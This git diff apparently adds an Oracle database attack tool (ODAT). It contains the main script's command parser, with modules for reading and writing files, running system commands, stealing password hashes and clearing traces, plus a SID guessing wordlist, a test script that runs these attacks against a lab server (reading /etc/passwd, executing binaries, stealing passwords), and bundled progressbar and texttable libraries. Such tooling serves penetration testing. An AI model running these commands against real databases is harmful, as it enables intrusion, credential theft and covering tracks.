parser_utltcp.set_defaults(func=runUtlTcpModule,auditType='utltcp') + #2.f- CTXSYS + parser_ctxsys = subparsers.add_parser('ctxsys',parents=[PPoptional,PPconnection,PPctxsys,PPoutput],help='to read files') + parser_ctxsys.set_defaults(func=runCtxsysModule,auditType='ctxsys') + #2.g- EXTERNAL TABLE + parser_externaltable = subparsers.add_parser('externaltable',parents=[PPoptional,PPconnection,PPexternaltable,PPoutput],help='to read files or to execute system commands/scripts') + parser_externaltable.set_defaults(func=runExternalTableModule,auditType='externaltable') + #2.h- DBMS_XSLPROCESSOR + parser_dbmsxslprocessor = subparsers.add_parser('dbmsxslprocessor',parents=[PPoptional,PPconnection,PPdbmsxslprocessor,PPoutput],help='to upload files') + parser_dbmsxslprocessor.set_defaults(func=runDbmsXslprocessorModule,auditType='dbmsxslprocessor') + #2.i- DBMSADVISOR + parser_dbmsadvisor = subparsers.add_parser('dbmsadvisor',parents=[PPoptional,PPconnection,PPdbmsadvisor,PPoutput],help='to upload files') + parser_dbmsadvisor.set_defaults(func=runDbmsadvisorModule,auditType='dbmsadvisor') + #2.j- UTL_FILE + parser_utlfile = subparsers.add_parser('utlfile',parents=[PPoptional,PPconnection,PPutlfile,PPoutput],help='to download/upload/delete files') + parser_utlfile.set_defaults(func=runUtlFileModule,auditType='utlfile') + #2.k- DBMSSCHEDULER + parser_dbmsscheduler = subparsers.add_parser('dbmsscheduler',parents=[PPoptional,PPconnection,PPdbmsscheduler,PPoutput],help='to execute system commands without a standard output') + parser_dbmsscheduler.set_defaults(func=runDbmsSchedulerModule,auditType='dbmsscheduler') + #2.l- JAVA + parser_java = subparsers.add_parser('java',parents=[PPoptional,PPconnection,PPjava,PPoutput],help='to execute system commands') + parser_java.set_defaults(func=runjavaModule,auditType='java') + #2.m- Passwords + parser_passwords = subparsers.add_parser('passwordstealer',parents=[PPoptional,PPconnection,PPpasswords,PPoutput],help='to get hashed Oracle passwords') + parser_passwords.set_defaults(func=runPasswordsModule,auditType='passwords') + #2.n- Oradbg + parser_oradbg = subparsers.add_parser('oradbg',parents=[PPoptional,PPconnection,PPoradbg,PPoutput],help='to execute a bin or script') + parser_oradbg.set_defaults(func=runOradbgModule,auditType='oradbg') + #2.o- steal Passwords (CVE-2012-313) + parser_passwords = subparsers.add_parser('stealremotepwds',parents=[PPoptional,PPstealRemotePass,PPoutput],help='to steal hashed passwords thanks an authentication sniffing (CVE-2012-313)') + parser_passwords.set_defaults(func=runCVE20123137Module,auditType='passwords') + #2.p- username like password + parser_usernamelikepassword = subparsers.add_parser('userlikepwd',parents=[PPoptional,PPconnection,PPusernamelikepassword,PPoutput],help='to try each Oracle username stored in the DB like the corresponding pwd') + parser_usernamelikepassword.set_defaults(func=runUsernameLikePassword,auditType='usernamelikepassword') + #2.q- clean + parser_clean = subparsers.add_parser('clean',parents=[PPoptional,PPclean,PPoutput],help='clean traces and logs') + parser_clean.set_defaults(func=runClean,auditType='clean') + #3- parse the args + if ARGCOMPLETE_AVAILABLE == True : argcomplete.autocomplete(parser) + args = dict(parser.parse_args()._get_kwargs()) + arguments = parser.parse_args() + #4- Configure logging and output + configureLogging(args) + args['print'] = Output(args) + #Start the good function + if args['auditType']!='clean' and ipHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT + arguments.func(args) + exit(ALL_IS_OK) + + +if __name__ == "__main__": + main() + diff --git a/progressbar.py b/progressbar.py new file mode 100644 index 0000000..c5510af --- /dev/null +++ b/progressbar.py @@ -0,0 +1,304 @@ +#!/usr/bin/python +# -*- coding: iso-8859-1 -*- +# +# progressbar - Text progressbar library for python. +# Copyright (c) 2005 Nilton Volpato +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + +"""Text progressbar library for python. + +This library provides a text mode progressbar. This is tipically used +to display the progress of a long running operation, providing a +visual clue that processing is underway. + +The ProgressBar class manages the progress, and the format of the line +is given by a number of widgets. A widget is an object that may +display diferently depending on the state of the progress. There are +three types of widget: +- a string, which always shows itself; +- a ProgressBarWidget, which may return a diferent value every time +it's update method is called; and +- a ProgressBarWidgetHFill, which is like ProgressBarWidget, except it +expands to fill the remaining width of the line. + +The progressbar module is very easy to use, yet very powerful. And +automatically supports features like auto-resizing when available. +""" + +__author__ = "Nilton Volpato" +__author_email__ = "first-name dot last-name @ gmail.com" +__date__ = "2006-05-07" +__version__ = "2.2" + +# Changelog +# +# 2006-05-07: v2.2 fixed bug in windows +# 2005-12-04: v2.1 autodetect terminal width, added start method +# 2005-12-04: v2.0 everything is now a widget (wow!) +# 2005-12-03: v1.0 rewrite using widgets +# 2005-06-02: v0.5 rewrite +# 2004-??-??: v0.1 first version + + +import sys, time +from array import array +try: + from fcntl import ioctl + import termios +except ImportError: + pass +import signal + +class ProgressBarWidget(object): + """This is an element of ProgressBar formatting. + + The ProgressBar object will call it's update value when an update + is needed. It's size may change between call, but the results will + not be good if the size changes drastically and repeatedly. + """ + def update(self, pbar): + """Returns the string representing the widget. + + The parameter pbar is a reference to the calling ProgressBar, + where one can access attributes of the class for knowing how + the update must be made. + + At least this function must be overriden.""" + pass + +class ProgressBarWidgetHFill(object): + """This is a variable width element of ProgressBar formatting. + + The ProgressBar object will call it's update value, informing the + width this object must the made. This is like TeX \\hfill, it will + expand to fill the line. You can use more than one in the same + line, and they will all have the same width, and together will + fill the line. + """ + def update(self, pbar, width): + """Returns the string representing the widget. + + The parameter pbar is a reference to the calling ProgressBar, + where one can access attributes of the class for knowing how + the update must be made. The parameter width is the total + horizontal width the widget must have. + + At least this function must be overriden.""" + pass + + +class ETA(ProgressBarWidget): + "Widget for the Estimated Time of Arrival" + def format_time(self, seconds): + return time.strftime('%H:%M:%S', time.gmtime(seconds)) + def update(self, pbar): + if pbar.currval == 0: + return 'ETA: --:--:--' + elif pbar.finished: + return 'Time: %s' % self.format_time(pbar.seconds_elapsed) + else: + elapsed = pbar.seconds_elapsed + eta = elapsed * pbar.maxval / pbar.currval - elapsed + return 'ETA: %s' % self.format_time(eta) + +class FileTransferSpeed(ProgressBarWidget): + "Widget for showing the transfer speed (useful for file transfers)." + def __init__(self): + self.fmt = '%6.2f %s' + self.units = ['B','K','M','G','T','P'] + def update(self, pbar): + if pbar.seconds_elapsed < 2e-6:#== 0: + bps = 0.0 + else: + bps = float(pbar.currval) / pbar.seconds_elapsed + spd = bps + for u in self.units: + if spd < 1000: + break + spd /= 1000 + return self.fmt % (spd, u+'/s') + +class RotatingMarker(ProgressBarWidget): + "A rotating marker for filling the bar of progress." + def __init__(self, markers='|/-\\'): + self.markers = markers + self.curmark = -1 + def update(self, pbar): + if pbar.finished: + return self.markers[0] + self.curmark = (self.curmark + 1)%len(self.markers) + return self.markers[self.curmark] + +class Percentage(ProgressBarWidget): + "Just the percentage done." + def update(self, pbar): + return '%3d%%' % pbar.percentage() + +class Bar(ProgressBarWidgetHFill): + "The bar of progress. It will strech to fill the line." + def __init__(self, marker='#', left='|', right='|'): + self.marker = marker + self.left = left + self.right = right + def _format_marker(self, pbar): + if isinstance(self.marker, (str, unicode)): + return self.marker + else: + return self.marker.update(pbar) + def update(self, pbar, width): + percent = pbar.percentage() + cwidth = width - len(self.left) - len(self.right) + marked_width = int(percent * cwidth / 100) + m = self._format_marker(pbar) + bar = (self.left + (m*marked_width).ljust(cwidth) + self.right) + return bar + +class ReverseBar(Bar): + "The reverse bar of progress, or bar of regress. :)" + def update(self, pbar, width): + percent = pbar.percentage() + cwidth = width - len(self.left) - len(self.right) + marked_width = int(percent * cwidth / 100) + m = self._format_marker(pbar) + bar = (self.left + (m*marked_width).rjust(cwidth) + self.right) + return bar + +default_widgets = [Percentage(), ' ', Bar()] +class ProgressBar(object): + """This is the ProgressBar class, it updates and prints the bar. + + The term_width parameter may be an integer. Or None, in which case + it will try to guess it, if it fails it will default to 80 columns. + + The simple use is like this: + >>> pbar = ProgressBar().start() + >>> for i in xrange(100): + ... # do something + ... pbar.update(i+1) + ... + >>> pbar.finish() + + But anything you want to do is possible (well, almost anything). + You can supply different widgets of any type in any order. And you + can even write your own widgets! There are many widgets already + shipped and you should experiment with them. + + When implementing a widget update method you may access any + attribute or function of the ProgressBar object calling the + widget's update method. The most important attributes you would + like to access are: + - currval: current value of the progress, 0 <= currval <= maxval + - maxval: maximum (and final) value of the progress + - finished: True if the bar is have finished (reached 100%), False o/w + - start_time: first time update() method of ProgressBar was called + - seconds_elapsed: seconds elapsed since start_time + - percentage(): percentage of the progress (this is a method) + """ + def __init__(self, maxval=100, widgets=default_widgets, term_width=None, + fd=sys.stdout): + assert maxval > 0 + self.maxval = maxval + self.widgets = widgets + self.fd = fd + self.signal_set = False + if term_width is None: + try: + self.handle_resize(None,None) + signal.signal(signal.SIGWINCH, self.handle_resize) + self.signal_set = True + except: + self.term_width = 79 + else: + self.term_width = term_width + + self.currval = 0 + self.finished = False + self.prev_percentage = -1 + self.start_time = None + self.seconds_elapsed = 0 + + def handle_resize(self, signum, frame): + h,w=array('h', ioctl(self.fd,termios.TIOCGWINSZ,'\0'*8))[:2] + self.term_width = w + + def percentage(self): + "Returns the percentage of the progress." + return self.currval*100.0 / self.maxval + + def _format_widgets(self): + r = [] + hfill_inds = [] + num_hfill = 0 + currwidth = 0 + for i, w in enumerate(self.widgets): + if isinstance(w, ProgressBarWidgetHFill): + r.append(w) + hfill_inds.append(i) + num_hfill += 1 + elif isinstance(w, (str, unicode)): + r.append(w) + currwidth += len(w) + else: + weval = w.update(self) + currwidth += len(weval) + r.append(weval) + for iw in hfill_inds: + r[iw] = r[iw].update(self, (self.term_width-currwidth)/num_hfill) + return r + + def _format_line(self): + return ''.join(self._format_widgets()).ljust(self.term_width) + + def _need_update(self): + return int(self.percentage()) != int(self.prev_percentage) + + def update(self, value): + "Updates the progress bar to a new value." + assert 0 <= value <= self.maxval + self.currval = value + if not self._need_update() or self.finished: + return + if not self.start_time: + self.start_time = time.time() + self.seconds_elapsed = time.time() - self.start_time + self.prev_percentage = self.percentage() + if value != self.maxval: + self.fd.write(self._format_line() + '\r') + else: + self.finished = True + self.fd.write(self._format_line() + '\n') + + def start(self): + """Start measuring time, and prints the bar at 0%. + + It returns self so you can use it like this: + >>> pbar = ProgressBar().start() + >>> for i in xrange(100): + ... # do something + ... pbar.update(i+1) + ... + >>> pbar.finish() + """ + self.update(0) + return self + + def finish(self): + """Used to tell the progress is finished.""" + self.update(self.maxval) + if self.signal_set: + signal.signal(signal.SIGWINCH, signal.SIG_DFL) + diff --git a/sids.txt b/sids.txt new file mode 100644 index 0000000..505301d --- /dev/null +++ b/sids.txt @@ -0,0 +1,570 @@ +ORCL +XE +ASDB +IASDB +OEMREP +SA0 +SA1 +SA2 +SA3 +SA4 +SA5 +SA6 +SA7 +SA8 +SA9 +SAA +SAB +SAC +SAD +SAE +SAF +SAG +SAH +SAI +SAJ +SAK +SAL +SAM +SAN +SAO +SAP +SAQ +SAR +SAS +SAT +SAU +SAV +SAW +SAX +SAY +SAZ +IXOS +CTM4_0 +CTM4_1 +CTM4_6 +CTM4_6 +ARIS +MSAM +ADV1 +ADVCPROD +ASDB0 +ASDB1 +ASDB2 +ASDB3 +ASDB4 +ASDB5 +ASDB6 +ASDB7 +ASDB8 +ASDB9 +ASG817 +ASG817P +ASG817T +ATRPROD +ATRTEST +BLA +BUDGET +C630 +D +D10 +D8 +D9 +DB +DB01 +DB02 +DB03 +DB1 +DB2 +DB2EDU +DB2PROD +DB2TEST +DB3 +DBA +DBA1 +DBA2 +DBA3 +DBA4 +DBA5 +DBA6 +DBA7 +DBA8 +DBA9 +DBX +DEMO +DEV +DEV0 +DEV1 +DEV2 +DEV3 +DEV4 +DEV5 +DEV6 +DEV7 +DEV8 +DEV9 +DEVEL +DIA1 +DIA2 +DIS +DWH +DWHPROD +DWHTEST +DWRHS +ELCARO +EMRS2 +EOF +ESOR +FINDEC +FINPROD +FNDFS_HR1 +FNDFS_HR2 +FPRD +GR01 +GR02 +GR03 +HR +HR0 +HR1 +HR2 +HR3 +HR4 +HR5 +HR6 +HR7 +HR8 +HR9 +HRDMO +INCD +ISD01 +ISD06 +ISP01 +ITS +KRAUS +KRONOS +LDAP +LINUX101 +LINUX1011 +LINUX1012 +LINUX1013 +LINUX1014 +LINUX102 +LINUX1021 +LINUX817 +LINUX8171 +LINUX8172 +LINUX8173 +LINUX8174 +LINUX901 +LINUX902 +LINUX9021 +LINUX9022 +LINUX9023 +LINUX9024 +LINUX9025 +LINUX9026 +LINUX9027 +LUN +MDTEST +MYDB +NEDB +NORTHWIND +ODB +OGDP +OID +OJS +OMS +ORA1 +ORA10 +ORA101 +ORA10101 +ORA10101P +ORA10101T +ORA10102 +ORA10102P +ORA10102T +ORA10103 +ORA10103P +ORA10103T +ORA10104 +ORA10104P +ORA10104T +ORA10105 +ORA10105P +ORA10105T +ORA1011 +ORA1011P +ORA1011T +ORA1012 +ORA1012P +ORA1012T +ORA1013 +ORA1013P +ORA1013T +ORA1014 +ORA1014P +ORA1014T +ORA1015 +ORA1015P +ORA1015T +ORA1021 +ORA1021P +ORA1021T +ORA1022 +ORA1022P +ORA1022T +ORA2 +ORA8 +ORA805 +ORA806 +ORA815 +ORA816 +ORA817 +ORA8170 +ORA8170P +ORA8170T +ORA8171 +ORA8171P +ORA8171T +ORA8172 +ORA8172P +ORA8172T +ORA8173 +ORA8173P +ORA8173T +ORA8174 +ORA8174P +ORA8174T +ORA8_SC +ORA910 +ORA920 +ORA9201 +ORA9201P +ORA9201T +ORA9202 +ORA9202P +ORA9202T +ORA9203 +ORA9203P +ORA9203T +ORA9204 +ORA9204P +ORA9204T +ORA9205 +ORA9205P +ORA9205T +ORA9206 +ORA9206P +ORA9206T +ORA9207 +ORA9207P +ORA9207T +ORACL +ORACLE +ORADB +ORADB1 +ORADB2 +ORADB3 +ORALIN +ORCL0 +ORCL1 +ORCL10 +ORCL2 +ORCL3 +ORCL4 +ORCL5 +ORCL6 +ORCL7 +ORCL8 +ORCL9 +ORCLA +ORCLB +ORCLC +ORCLD +ORCLE +ORCLF +ORCLG +ORCLH +ORCLI +ORCLJ +ORCLK +ORCLL +ORCLM +ORCLN +ORCLO +ORCLP +ORCLP0 +ORCLP1 +ORCLP2 +ORCLP3 +ORCLP4 +ORCLP5 +ORCLP6 +ORCLP7 +ORCLP8 +ORCLP9 +ORCLQ +ORCLR +ORCLS +ORCLSOL +ORCLT +ORCLU +ORCLV +ORCLW +ORCLX +ORCLY +ORCLZ +ORIONDB +ORTD +P +P10 +P10G +P8 +P8I +P9 +P9I +PD1 +PINDB +PORA10101 +PORA10102 +PORA10103 +PORA10104 +PORA10105 +PORA1011 +PORA1012 +PORA1013 +PORA1014 +PORA1015 +PORA1021 +PORA1022 +PORA8170 +PORA8171 +PORA8172 +PORA8173 +PORA8174 +PORA9201 +PORA9202 +PORA9203 +PORA9204 +PORA9205 +PORA9206 +PORA9207 +PRD +PRITXI +PROD +PROD0 +PROD1 +PROD10G +PROD2 +PROD3 +PROD4 +PROD5 +PROD6 +PROD7 +PROD8 +PROD8I +PROD9 +PROD920 +PROD9I +PROG10 +RAB1 +RAC +RAC1 +RAC2 +RAC3 +RAC4 +RECV +REP +REP0 +REP1 +REP2 +REP3 +REP4 +REP5 +REP6 +REP7 +REP8 +REP9 +REPO +REPO0 +REPO1 +REPO2 +REPO3 +REPO4 +REPO5 +REPO6 +REPO7 +REPO8 +REPO9 +REPOS +REPOS0 +REPOS1 +REPOS2 +REPOS3 +REPOS4 +REPOS5 +REPOS6 +REPOS7 +REPOS8 +REPOS9 +RIPPROD +RITCTL +RITDEV +RITPROD +RITQA +RITTRN +RITTST +SALES +SAMPLE +SANIPSP +SAP +SAP0 +SAP1 +SAP2 +SAP3 +SAP4 +SAP5 +SAP6 +SAP7 +SAP8 +SAP9 +SAPHR +SGNT +SID0 +SID1 +SID2 +SID3 +SID4 +SID5 +SID6 +SID7 +SID8 +SID9 +STAG1 +STAG2 +T1 +T10 +T101 +T102 +T2 +T3 +T4 +T7 +T71 +T72 +T73 +T8 +T80 +T81 +T82 +T9 +T91 +T92 +TEST +TEST10G +THUMPER +TRC28 +TRIUMF +TSH1 +TST +TST0 +TST1 +TST2 +TST3 +TST4 +TST5 +TST6 +TST7 +TST8 +TST9 +TYCP +UNIX101 +UNIX1011 +UNIX1012 +UNIX1013 +UNIX1014 +UNIX102 +UNIX1021 +UNIX817 +UNIX8171 +UNIX8172 +UNIX8173 +UNIX8174 +UNIX901 +UNIX902 +UNIX9021 +UNIX9022 +UNIX9023 +UNIX9024 +UNIX9025 +UNIX9026 +UNIX9027 +VENOM +VENU +VISTA +W101 +W1011 +W1012 +W1013 +W1014 +W102 +W1021 +W817 +W8171 +W8172 +W8173 +W8174 +W901 +W902 +W9021 +W9022 +W9023 +W9024 +W9025 +W9026 +W9027 +WG73 +WIN101 +WIN1011 +WIN1012 +WIN1013 +WIN1014 +WIN102 +WIN1021 +WIN817 +WIN8171 +WIN8172 +WIN8173 +WIN8174 +WIN901 +WIN902 +WIN9021 +WIN9022 +WIN9023 +WIN9024 +WIN9025 +WIN9026 +WIN9027 +WINDOWS101 +WINDOWS1011 +WINDOWS1012 +WINDOWS1013 +WINDOWS1014 +WINDOWS102 +WINDOWS1021 +WINDOWS817 +WINDOWS8171 +WINDOWS8172 +WINDOWS8173 +WINDOWS8174 +WINDOWS901 +WINDOWS902 +WINDOWS9021 +WINDOWS9022 +WINDOWS9023 +WINDOWS9024 +WINDOWS9025 +WINDOWS9026 +WINDOWS9027 +XEXDB +XE_XPT diff --git a/testAllOdatModules.sh b/testAllOdatModules.sh new file mode 100755 index 0000000..5f50a03 --- /dev/null +++ b/testAllOdatModules.sh @@ -0,0 +1,75 @@ +#!/bin/bash +#Constants +ALL_IS_OK=0 +#Connection information +SERVER=192.168.142.73 +SID=ORCL +USER="SYS" +PASSWORD='' +#OPTIONS +VERBOSE='' #'> /dev/null' + + +tests=( "./odat.py all -s $SERVER" + "./odat.py all -s $SERVER --accounts-file=./accounts_small.txt --sid-charset '01' --sids-max-size=2" + "./odat.py all -s $SERVER --no-alias-like-sid --sids-file=./sids.txt" + "./odat.py all -s $SERVER -d $SID" + "./odat.py all -s $SERVER -d $SID -U $USER -P $PASSWORD" + "./odat.py all -s $SERVER -d $SID -U $USER -P $PASSWORD" + "./odat.py sidguesser -s $SERVER --sids-max-size=1 --sid-charset='1234'" + "./odat.py sidguesser -s $SERVER --sids-file=./sids.txt" + "./odat.py passwordguesser -s $SERVER -d $SID" + "./odat.py passwordguesser -s $SERVER -d $SID --accounts-file=./accounts_small.txt" + "./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" + "./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" + "echo 'GET / HTTP/1.0\n' > ./temp.txt; ./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --send google.com 80 temp.txt ;rm ./temp.txt" + "./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" + "./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" + "./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --url 127.0.0.1:80" + "./odat.py utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" + "./odat.py utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" + "echo 'GET / HTTP/1.0\n\n' > ./temp.txt; ./odat.py utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --send-packet 127.0.0.1 80 ./temp.txt ;rm ./temp.txt" + "./odat.py ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/passwd" + "./odat.py externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /tmp/ temp.sh passwd.txt" + "./odat.py externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /tmp/ temp.sh" + "./odat.py dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt accounts_small.txt" + "./odat.py dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/: file.txt ./accounts_small.txt" + "./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module --getFile /etc/ passwd passwd.txt" + "./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt accounts_small.txt" + "./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --removeFile /tmp/ file.txt" + "./odat.py dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" + "./odat.py java -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords-from-history" + "./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords" + "./odat.py oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" + "sudo ./odat.py stealRemotePwds -s $SERVER -d $SID --test-module" + "sudo ./odat.py stealRemotePwds -s $SERVER -d $SID --user-list accounts_small.txt --get-all-passwords" + "sudo chmod o+r sessions-$SERVER-1521-$SID.txt; ./odat.py stealRemotePwds -s $SERVER -d $SID --decrypt-sessions sessions-$SERVER-1521-$SID.txt accounts_small.txt" + + ) + +function isGoodReturnValue { + if [ "$1" -eq "$ALL_IS_OK" ] + then + echo -e " \e[0;32mOK!\e[0;m" + else + echo -e " \e[0;31mKO!\e[0;m" + fi +} + +for aTest in "${tests[@]}" +do + echo -e "\n\e[1m\e[96m[+] TEST that : $aTest $VERBOSE \e[m" + eval "$aTest $VERBOSE" + isGoodReturnValue $? +done diff --git a/texttable.py b/texttable.py new file mode 100644 index 0000000..ece839a --- /dev/null +++ b/texttable.py @@ -0,0 +1,591 @@ +#!/usr/bin/env python +# +# texttable - module for creating simple ASCII tables +# Copyright (C) 2003-2011 Gerome Fournier +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +"""module for creating simple ASCII tables + + +Example: + + table = Texttable() + table.set_cols_align(["l", "r", "c"]) + table.set_cols_valign(["t", "m", "b"]) + table.add_rows([ ["Name", "Age", "Nickname"], + ["Mr\\nXavier\\nHuon", 32, "Xav'"], + ["Mr\\nBaptiste\\nClement", 1, "Baby"] ]) + print table.draw() + "\\n" + + table = Texttable() + table.set_deco(Texttable.HEADER) + table.set_cols_dtype(['t', # text + 'f', # float (decimal) + 'e', # float (exponent) + 'i', # integer + 'a']) # automatic + table.set_cols_align(["l", "r", "r", "r", "l"]) + table.add_rows([["text", "float", "exp", "int", "auto"], + ["abcd", "67", 654, 89, 128.001], + ["efghijk", 67.5434, .654, 89.6, 12800000000000000000000.00023], + ["lmn", 5e-78, 5e-78, 89.4, .000000000000128], + ["opqrstu", .023, 5e+78, 92., 12800000000000000000000]]) + print table.draw() + +Result: + + +----------+-----+----------+ + | Name | Age | Nickname | + +==========+=====+==========+ + | Mr | | | + | Xavier | 32 | | + | Huon | | Xav' | + +----------+-----+----------+ + | Mr | | | + | Baptiste | 1 | | + | Clement | | Baby | + +----------+-----+----------+ + + text float exp int auto + =========================================== + abcd 67.000 6.540e+02 89 128.001 + efgh 67.543 6.540e-01 90 1.280e+22 + ijkl 0.000 5.000e-78 89 0.000 + mnop 0.023 5.000e+78 92 1.280e+22 +""" + +__all__ = ["Texttable", "ArraySizeError"] + +__author__ = 'Gerome Fournier ' +__license__ = 'LGPL' +__version__ = '0.8.1' +__credits__ = """\ +Jeff Kowalczyk: + - textwrap improved import + - comment concerning header output + +Anonymous: + - add_rows method, for adding rows in one go + +Sergey Simonenko: + - redefined len() function to deal with non-ASCII characters + +Roger Lew: + - columns datatype specifications + +Brian Peterson: + - better handling of unicode errors +""" + +import sys +import string + +try: + if sys.version >= '2.3': + import textwrap + elif sys.version >= '2.2': + from optparse import textwrap + else: + from optik import textwrap +except ImportError: + sys.stderr.write("Can't import textwrap module!\n") + raise + +try: + True, False +except NameError: + (True, False) = (1, 0) + +def len(iterable): + """Redefining len here so it will be able to work with non-ASCII characters + """ + if not isinstance(iterable, str): + return iterable.__len__() + + try: + return len(unicode(iterable, 'utf')) + except: + return iterable.__len__() + +class ArraySizeError(Exception): + """Exception raised when specified rows don't fit the required size + """ + + def __init__(self, msg): + self.msg = msg + Exception.__init__(self, msg, '') + + def __str__(self): + return self.msg + +class Texttable: + + BORDER = 1 + HEADER = 1 << 1 + HLINES = 1 << 2 + VLINES = 1 << 3 + + def __init__(self, max_width=80): + """Constructor + + - max_width is an integer, specifying the maximum width of the table + - if set to 0, size is unlimited, therefore cells won't be wrapped + """ + + if max_width <= 0: + max_width = False + self._max_width = max_width + self._precision = 3 + + self._deco = Texttable.VLINES | Texttable.HLINES | Texttable.BORDER | \ + Texttable.HEADER + self.set_chars(['-', '|', '+', '=']) + self.reset() + + def reset(self): + """Reset the instance + + - reset rows and header + """ + + self._hline_string = None + self._row_size = None + self._header = [] + self._rows = [] + + def set_chars(self, array): + """Set the characters used to draw lines between rows and columns + + - the array should contain 4 fields: + + [horizontal, vertical, corner, header] + + - default is set to: + + ['-', '|', '+', '='] + """ + + if len(array) != 4: + raise ArraySizeError, "array should contain 4 characters" + array = [ x[:1] for x in [ str(s) for s in array ] ] + (self._char_horiz, self._char_vert, + self._char_corner, self._char_header) = array + + def set_deco(self, deco): + """Set the table decoration + + - 'deco' can be a combinaison of: + + Texttable.BORDER: Border around the table + Texttable.HEADER: Horizontal line below the header + Texttable.HLINES: Horizontal lines between rows + Texttable.VLINES: Vertical lines between columns + + All of them are enabled by default + + - example: + + Texttable.BORDER | Texttable.HEADER + """ + + self._deco = deco + + def set_cols_align(self, array): + """Set the desired columns alignment + + - the elements of the array should be either "l", "c" or "r": + + * "l": column flushed left + * "c": column centered + * "r": column flushed right + """ + + self._check_row_size(array) + self._align = array + + def set_cols_valign(self, array): + """Set the desired columns vertical alignment + + - the elements of the array should be either "t", "m" or "b": + + * "t": column aligned on the top of the cell + * "m": column aligned on the middle of the cell + * "b": column aligned on the bottom of the cell + """ + + self._check_row_size(array) + self._valign = array + + def set_cols_dtype(self, array): + """Set the desired columns datatype for the cols. + + - the elements of the array should be either "a", "t", "f", "e" or "i": + + * "a": automatic (try to use the most appropriate datatype) + * "t": treat as text + * "f": treat as float in decimal format + * "e": treat as float in exponential format + * "i": treat as int + + - by default, automatic datatyping is used for each column + """ + + self._check_row_size(array) + self._dtype = array + + def set_cols_width(self, array): + """Set the desired columns width + + - the elements of the array should be integers, specifying the + width of each column. For example: + + [10, 20, 5] + """ + + self._check_row_size(array) + try: + array = map(int, array) + if reduce(min, array) <= 0: + raise ValueError + except ValueError: + sys.stderr.write("Wrong argument in column width specification\n") + raise + self._width = array + + def set_precision(self, width): + """Set the desired precision for float/exponential formats + + - width must be an integer >= 0 + + - default value is set to 3 + """ + + if not type(width) is int or width < 0: + raise ValueError('width must be an integer greater then 0') + self._precision = width + + def header(self, array): + """Specify the header of the table + """ + + self._check_row_size(array) + self._header = map(str, array) + + def add_row(self, array): + """Add a row in the rows stack + + - cells can contain newlines and tabs + """ + + self._check_row_size(array) + + if not hasattr(self, "_dtype"): + self._dtype = ["a"] * self._row_size + + cells = [] + for i,x in enumerate(array): + cells.append(self._str(i,x)) + self._rows.append(cells) + + def add_rows(self, rows, header=True): + """Add several rows in the rows stack + + - The 'rows' argument can be either an iterator returning arrays, + or a by-dimensional array + - 'header' specifies if the first row should be used as the header + of the table + """ + + # nb: don't use 'iter' on by-dimensional arrays, to get a + # usable code for python 2.1 + if header: + if hasattr(rows, '__iter__') and hasattr(rows, 'next'): + self.header(rows.next()) + else: + self.header(rows[0]) + rows = rows[1:] + for row in rows: + self.add_row(row) + + def draw(self): 